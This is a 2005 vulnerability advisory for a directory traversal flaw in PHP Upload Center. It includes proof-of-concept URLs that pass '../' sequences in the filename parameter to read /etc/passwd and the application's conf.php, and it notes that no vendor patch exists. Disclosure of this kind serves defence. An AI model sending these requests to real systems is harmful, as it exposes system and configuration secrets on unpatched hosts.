PHP Upload Center Directory Traversal Vulnerability

BID:15626

Info

PHP Upload Center Directory Traversal Vulnerability

Bugtraq ID: 15626
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 29 2005 12:00AM
Updated: Nov 29 2005 12:00AM
Credit: Discovered by Liz0ziM.
Vulnerable: PHP Upload Center PHP Upload Center
Not Vulnerable:

Discussion

PHP Upload Center Directory Traversal Vulnerability

PHP Upload Center is prone to a directory traversal vulnerability.

A remote attacker may exploit this vulnerability to reveal files that contain potentially sensitive information. Information that is harvested in this manner may then be used to aid in further attacks against the software and the computer that is hosting the software.

All versions of PHP Upload Center are considered to be vulnerable at the moment.

Exploit / POC

PHP Upload Center Directory Traversal Vulnerability

No exploit is required.

The following proof of concept examples are available:
http://www.example.com/upload/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd

http://www.example.com/instaladores/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd

http://www.example.com/upload/index.php?action=view&filename=../include/conf.php

http://www.example.com/instaladores/index.php?action=view&filename=../include/conf.php

Solution / Fix

PHP Upload Center Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PHP Upload Center Directory Traversal Vulnerability

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